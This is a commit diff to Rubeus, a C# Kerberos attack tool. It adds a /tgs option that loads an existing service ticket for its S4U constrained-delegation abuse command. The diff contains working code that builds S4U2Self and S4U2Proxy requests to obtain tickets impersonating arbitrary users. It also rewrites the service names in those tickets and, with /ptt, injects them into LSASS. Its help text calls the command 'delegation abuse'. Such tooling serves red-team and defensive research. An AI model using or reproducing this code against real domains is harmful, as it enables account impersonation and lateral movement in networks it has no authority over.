Support loading TGS from kirbi instead of performing S4U2Self
parent
8549a3bae2
commit
10689dfff3
|
@ -19,6 +19,7 @@ namespace Rubeus.Commands
|
|||
bool ptt = false;
|
||||
string dc = "";
|
||||
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid
|
||||
KRB_CRED tgs = null;
|
||||
|
||||
if (arguments.ContainsKey("/user"))
|
||||
{
|
||||
|
@ -57,6 +58,11 @@ namespace Rubeus.Commands
|
|||
}
|
||||
if (arguments.ContainsKey("/impersonateuser"))
|
||||
{
|
||||
if (arguments.ContainsKey("/tgs"))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply either a /impersonateuser or a /tgs, but not both.\r\n");
|
||||
return;
|
||||
}
|
||||
targetUser = arguments["/impersonateuser"];
|
||||
}
|
||||
|
||||
|
@ -70,13 +76,37 @@ namespace Rubeus.Commands
|
|||
altSname = arguments["/altservice"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/tgs"))
|
||||
{
|
||||
string kirbi64 = arguments["/tgs"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
tgs = new KRB_CRED(kirbiBytes);
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
tgs = new KRB_CRED(kirbiBytes);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
targetUser = tgs.enc_part.ticket_info[0].pname.name_string[0];
|
||||
}
|
||||
|
||||
if (String.IsNullOrEmpty(domain))
|
||||
{
|
||||
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
|
||||
}
|
||||
if (String.IsNullOrEmpty(targetUser))
|
||||
if (String.IsNullOrEmpty(targetUser) && tgs == null)
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
|
||||
Console.WriteLine("\r\n[X] You must supply a /tgs to impersonate!\r\n");
|
||||
Console.WriteLine("[X] Alternatively, supply a /impersonateuser to perform S4U2Self first.\r\n");
|
||||
return;
|
||||
}
|
||||
if (String.IsNullOrEmpty(targetSPN))
|
||||
|
@ -93,13 +123,13 @@ namespace Rubeus.Commands
|
|||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
|
||||
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname, tgs);
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
|
||||
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname, tgs);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
@ -119,7 +149,7 @@ namespace Rubeus.Commands
|
|||
return;
|
||||
}
|
||||
|
||||
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
|
||||
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname, tgs);
|
||||
return;
|
||||
}
|
||||
else
|
||||
|
|
|
@ -35,8 +35,8 @@ namespace Rubeus.Domain
|
|||
Console.WriteLine(" Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER]");
|
||||
|
||||
Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
|
||||
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
|
||||
Console.WriteLine("\r\n Submit a TGT, optionally targeting a specific LUID (if elevated):");
|
||||
Console.WriteLine(" Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]");
|
||||
|
|
|
@ -7,7 +7,7 @@ namespace Rubeus
|
|||
{
|
||||
public class S4U
|
||||
{
|
||||
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
|
||||
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null)
|
||||
{
|
||||
// first retrieve a TGT for the user
|
||||
byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, false, domainController);
|
||||
|
@ -26,23 +26,24 @@ namespace Rubeus
|
|||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
|
||||
// execute the s4u process
|
||||
Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService);
|
||||
Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService, tgs);
|
||||
}
|
||||
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
|
||||
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null)
|
||||
{
|
||||
Console.WriteLine("[*] Action: S4U\r\n");
|
||||
|
||||
// extract out the info needed for the TGS-REQ/S4U2Self execution
|
||||
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
|
||||
string domain = kirbi.enc_part.ticket_info[0].prealm;
|
||||
Ticket ticket = kirbi.tickets[0];
|
||||
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
|
||||
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
|
||||
|
||||
string dcIP = Networking.GetDCIP(domainController);
|
||||
if (String.IsNullOrEmpty(dcIP)) { return; }
|
||||
|
||||
Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
|
||||
if (tgs != null)
|
||||
{
|
||||
Console.WriteLine("[*] Loaded TGS for '{0}\\{1}' to '{2}/{3}'", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0], tgs.enc_part.ticket_info[0].sname.name_string[0], tgs.tickets[0].sname.name_string[1]);
|
||||
S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, tgs.tickets[0]);
|
||||
}
|
||||
else
|
||||
{
|
||||
S4U2Self(kirbi, targetUser, targetSPN, ptt, domainController, altService);
|
||||
}
|
||||
}
|
||||
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", Ticket tgs = null)
|
||||
{
|
||||
Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
|
||||
if (!String.IsNullOrEmpty(altService))
|
||||
{
|
||||
|
@ -57,177 +58,81 @@ namespace Rubeus
|
|||
}
|
||||
}
|
||||
|
||||
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser);
|
||||
// extract out the info needed for the TGS-REQ/S4U2Proxy execution
|
||||
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
|
||||
string domain = kirbi.enc_part.ticket_info[0].prealm;
|
||||
Ticket ticket = kirbi.tickets[0];
|
||||
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
|
||||
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
|
||||
|
||||
Console.WriteLine("[*] Sending S4U2self request");
|
||||
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
|
||||
if (response == null)
|
||||
string dcIP = Networking.GetDCIP(domainController);
|
||||
if (String.IsNullOrEmpty(dcIP)) { return; }
|
||||
Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
|
||||
TGS_REQ s4u2proxyReq = new TGS_REQ();
|
||||
PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype);
|
||||
s4u2proxyReq.padata.Add(padata);
|
||||
PA_DATA pac_options = new PA_DATA(false, false, false, true);
|
||||
s4u2proxyReq.padata.Add(pac_options);
|
||||
|
||||
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;
|
||||
|
||||
s4u2proxyReq.req_body.realm = domain;
|
||||
|
||||
string[] parts = targetSPN.Split('/');
|
||||
string serverName = parts[1];
|
||||
s4u2proxyReq.req_body.sname.name_type = 2;
|
||||
// the sname
|
||||
s4u2proxyReq.req_body.sname.name_string.Add(parts[0]);
|
||||
// the server
|
||||
s4u2proxyReq.req_body.sname.name_string.Add(serverName);
|
||||
|
||||
// supported encryption types
|
||||
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
|
||||
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
|
||||
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
|
||||
|
||||
// add in the ticket from the S4U2self response
|
||||
s4u2proxyReq.req_body.additional_tickets.Add(tgs);
|
||||
|
||||
byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
|
||||
|
||||
Console.WriteLine("[*] Sending S4U2proxy request");
|
||||
byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
|
||||
if (response2 == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
// decode the supplied bytes to an AsnElt object
|
||||
// false == ignore trailing garbage
|
||||
AsnElt responseAsn = AsnElt.Decode(response, false);
|
||||
AsnElt responseAsn = AsnElt.Decode(response2, false);
|
||||
|
||||
// check the response value
|
||||
int responseTag = responseAsn.TagValue;
|
||||
|
||||
if (responseTag == 13)
|
||||
{
|
||||
Console.WriteLine("[+] S4U2self success!");
|
||||
Console.WriteLine("[+] S4U2proxy success!");
|
||||
|
||||
// parse the response to an TGS-REP
|
||||
TGS_REP rep = new TGS_REP(responseAsn);
|
||||
TGS_REP rep2 = new TGS_REP(responseAsn);
|
||||
|
||||
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
|
||||
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
|
||||
AsnElt ae = AsnElt.Decode(outBytes, false);
|
||||
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
|
||||
byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
|
||||
AsnElt ae2 = AsnElt.Decode(outBytes2, false);
|
||||
EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);
|
||||
|
||||
// TODO: ensure the cname contains the name of the user! otherwise s4u not supported
|
||||
|
||||
Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
|
||||
TGS_REQ s4u2proxyReq = new TGS_REQ();
|
||||
PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype);
|
||||
s4u2proxyReq.padata.Add(padata);
|
||||
PA_DATA pac_options = new PA_DATA(false, false, false, true);
|
||||
s4u2proxyReq.padata.Add(pac_options);
|
||||
|
||||
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;
|
||||
|
||||
s4u2proxyReq.req_body.realm = domain;
|
||||
|
||||
string[] parts = targetSPN.Split('/');
|
||||
string serverName = parts[1];
|
||||
s4u2proxyReq.req_body.sname.name_type = 2;
|
||||
// the sname
|
||||
s4u2proxyReq.req_body.sname.name_string.Add(parts[0]);
|
||||
// the server
|
||||
s4u2proxyReq.req_body.sname.name_string.Add(serverName);
|
||||
|
||||
// supported encryption types
|
||||
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
|
||||
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
|
||||
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
|
||||
|
||||
// add in the ticket from the S4U2self response
|
||||
s4u2proxyReq.req_body.additional_tickets.Add(rep.ticket);
|
||||
|
||||
byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
|
||||
|
||||
Console.WriteLine("[*] Sending S4U2proxy request");
|
||||
byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
|
||||
if (response2 == null)
|
||||
if (!String.IsNullOrEmpty(altService))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string[] altSnames = altService.Split(',');
|
||||
|
||||
// decode the supplied bytes to an AsnElt object
|
||||
// false == ignore trailing garbage
|
||||
AsnElt responseAsn2 = AsnElt.Decode(response2, false);
|
||||
|
||||
// check the response value
|
||||
int responseTag2 = responseAsn2.TagValue;
|
||||
|
||||
if (responseTag2 == 13)
|
||||
{
|
||||
Console.WriteLine("[+] S4U2proxy success!");
|
||||
|
||||
// parse the response to an TGS-REP
|
||||
TGS_REP rep2 = new TGS_REP(responseAsn2);
|
||||
|
||||
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
|
||||
byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
|
||||
AsnElt ae2 = AsnElt.Decode(outBytes2, false);
|
||||
EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);
|
||||
|
||||
if (!String.IsNullOrEmpty(altService))
|
||||
foreach (string altSname in altSnames)
|
||||
{
|
||||
string[] altSnames = altService.Split(',');
|
||||
|
||||
foreach (string altSname in altSnames)
|
||||
{
|
||||
// now build the final KRB-CRED structure with one or more alternate snames
|
||||
KRB_CRED cred = new KRB_CRED();
|
||||
|
||||
// since we want an alternate sname, first substitute it into the ticket structure
|
||||
rep2.ticket.sname.name_string[0] = altSname;
|
||||
|
||||
// add the ticket
|
||||
cred.tickets.Add(rep2.ticket);
|
||||
|
||||
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
|
||||
|
||||
KrbCredInfo info = new KrbCredInfo();
|
||||
|
||||
// [0] add in the session key
|
||||
info.key.keytype = encRepPart2.key.keytype;
|
||||
info.key.keyvalue = encRepPart2.key.keyvalue;
|
||||
|
||||
// [1] prealm (domain)
|
||||
info.prealm = encRepPart2.realm;
|
||||
|
||||
// [2] pname (user)
|
||||
info.pname.name_type = rep2.cname.name_type;
|
||||
info.pname.name_string = rep2.cname.name_string;
|
||||
|
||||
// [3] flags
|
||||
info.flags = encRepPart2.flags;
|
||||
|
||||
// [4] authtime (not required)
|
||||
|
||||
// [5] starttime
|
||||
info.starttime = encRepPart2.starttime;
|
||||
|
||||
// [6] endtime
|
||||
info.endtime = encRepPart2.endtime;
|
||||
|
||||
// [7] renew-till
|
||||
info.renew_till = encRepPart2.renew_till;
|
||||
|
||||
// [8] srealm
|
||||
info.srealm = encRepPart2.realm;
|
||||
|
||||
// [9] sname
|
||||
info.sname.name_type = encRepPart2.sname.name_type;
|
||||
info.sname.name_string = encRepPart2.sname.name_string;
|
||||
|
||||
// if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
|
||||
Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
|
||||
info.sname.name_string[0] = altSname;
|
||||
|
||||
// add the ticket_info into the cred object
|
||||
cred.enc_part.ticket_info.Add(info);
|
||||
|
||||
byte[] kirbiBytes = cred.Encode().Encode();
|
||||
|
||||
string kirbiString = Convert.ToBase64String(kirbiBytes);
|
||||
|
||||
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName);
|
||||
|
||||
// display the .kirbi base64, columns of 80 chararacters
|
||||
foreach (string line in Helpers.Split(kirbiString, 80))
|
||||
{
|
||||
Console.WriteLine(" {0}", line);
|
||||
}
|
||||
if (ptt)
|
||||
{
|
||||
// pass-the-ticket -> import into LSASS
|
||||
LSA.ImportTicket(kirbiBytes);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// now build the final KRB-CRED structure, no alternate snames
|
||||
// now build the final KRB-CRED structure with one or more alternate snames
|
||||
KRB_CRED cred = new KRB_CRED();
|
||||
|
||||
// if we want an alternate sname, first substitute it into the ticket structure
|
||||
if (!String.IsNullOrEmpty(altService))
|
||||
{
|
||||
rep2.ticket.sname.name_string[0] = altService;
|
||||
}
|
||||
// since we want an alternate sname, first substitute it into the ticket structure
|
||||
rep2.ticket.sname.name_string[0] = altSname;
|
||||
|
||||
// add the ticket
|
||||
cred.tickets.Add(rep2.ticket);
|
||||
|
@ -268,6 +173,10 @@ namespace Rubeus
|
|||
info.sname.name_type = encRepPart2.sname.name_type;
|
||||
info.sname.name_string = encRepPart2.sname.name_string;
|
||||
|
||||
// if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
|
||||
Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
|
||||
info.sname.name_string[0] = altSname;
|
||||
|
||||
// add the ticket_info into the cred object
|
||||
cred.enc_part.ticket_info.Add(info);
|
||||
|
||||
|
@ -275,7 +184,7 @@ namespace Rubeus
|
|||
|
||||
string kirbiString = Convert.ToBase64String(kirbiBytes);
|
||||
|
||||
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);
|
||||
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName);
|
||||
|
||||
// display the .kirbi base64, columns of 80 chararacters
|
||||
foreach (string line in Helpers.Split(kirbiString, 80))
|
||||
|
@ -289,15 +198,75 @@ namespace Rubeus
|
|||
}
|
||||
}
|
||||
}
|
||||
else if (responseTag2 == 30)
|
||||
{
|
||||
// parse the response to an KRB-ERROR
|
||||
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
|
||||
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
|
||||
// now build the final KRB-CRED structure, no alternate snames
|
||||
KRB_CRED cred = new KRB_CRED();
|
||||
|
||||
// if we want an alternate sname, first substitute it into the ticket structure
|
||||
if (!String.IsNullOrEmpty(altService))
|
||||
{
|
||||
rep2.ticket.sname.name_string[0] = altService;
|
||||
}
|
||||
|
||||
// add the ticket
|
||||
cred.tickets.Add(rep2.ticket);
|
||||
|
||||
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
|
||||
|
||||
KrbCredInfo info = new KrbCredInfo();
|
||||
|
||||
// [0] add in the session key
|
||||
info.key.keytype = encRepPart2.key.keytype;
|
||||
info.key.keyvalue = encRepPart2.key.keyvalue;
|
||||
|
||||
// [1] prealm (domain)
|
||||
info.prealm = encRepPart2.realm;
|
||||
|
||||
// [2] pname (user)
|
||||
info.pname.name_type = rep2.cname.name_type;
|
||||
info.pname.name_string = rep2.cname.name_string;
|
||||
|
||||
// [3] flags
|
||||
info.flags = encRepPart2.flags;
|
||||
|
||||
// [4] authtime (not required)
|
||||
|
||||
// [5] starttime
|
||||
info.starttime = encRepPart2.starttime;
|
||||
|
||||
// [6] endtime
|
||||
info.endtime = encRepPart2.endtime;
|
||||
|
||||
// [7] renew-till
|
||||
info.renew_till = encRepPart2.renew_till;
|
||||
|
||||
// [8] srealm
|
||||
info.srealm = encRepPart2.realm;
|
||||
|
||||
// [9] sname
|
||||
info.sname.name_type = encRepPart2.sname.name_type;
|
||||
info.sname.name_string = encRepPart2.sname.name_string;
|
||||
|
||||
// add the ticket_info into the cred object
|
||||
cred.enc_part.ticket_info.Add(info);
|
||||
|
||||
byte[] kirbiBytes = cred.Encode().Encode();
|
||||
|
||||
string kirbiString = Convert.ToBase64String(kirbiBytes);
|
||||
|
||||
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);
|
||||
|
||||
// display the .kirbi base64, columns of 80 chararacters
|
||||
foreach (string line in Helpers.Split(kirbiString, 80))
|
||||
{
|
||||
Console.WriteLine(" {0}", line);
|
||||
}
|
||||
if (ptt)
|
||||
{
|
||||
// pass-the-ticket -> import into LSASS
|
||||
LSA.ImportTicket(kirbiBytes);
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (responseTag == 30)
|
||||
|
@ -311,5 +280,62 @@ namespace Rubeus
|
|||
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
|
||||
}
|
||||
}
|
||||
private static void S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
|
||||
{
|
||||
// extract out the info needed for the TGS-REQ/S4U2Self execution
|
||||
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
|
||||
string domain = kirbi.enc_part.ticket_info[0].prealm;
|
||||
Ticket ticket = kirbi.tickets[0];
|
||||
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
|
||||
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
|
||||
|
||||
string dcIP = Networking.GetDCIP(domainController);
|
||||
if (String.IsNullOrEmpty(dcIP)) { return; }
|
||||
|
||||
Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
|
||||
|
||||
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser);
|
||||
|
||||
Console.WriteLine("[*] Sending S4U2self request");
|
||||
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
|
||||
if (response == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
// decode the supplied bytes to an AsnElt object
|
||||
// false == ignore trailing garbage
|
||||
AsnElt responseAsn = AsnElt.Decode(response, false);
|
||||
|
||||
// check the response value
|
||||
int responseTag = responseAsn.TagValue;
|
||||
|
||||
if (responseTag == 13)
|
||||
{
|
||||
Console.WriteLine("[+] S4U2self success!");
|
||||
|
||||
// parse the response to an TGS-REP
|
||||
TGS_REP rep = new TGS_REP(responseAsn);
|
||||
|
||||
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
|
||||
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
|
||||
AsnElt ae = AsnElt.Decode(outBytes, false);
|
||||
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
|
||||
|
||||
// TODO: ensure the cname contains the name of the user! otherwise s4u not supported
|
||||
|
||||
S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, rep.ticket);
|
||||
}
|
||||
else if (responseTag == 30)
|
||||
{
|
||||
// parse the response to an KRB-ERROR
|
||||
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
|
||||
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue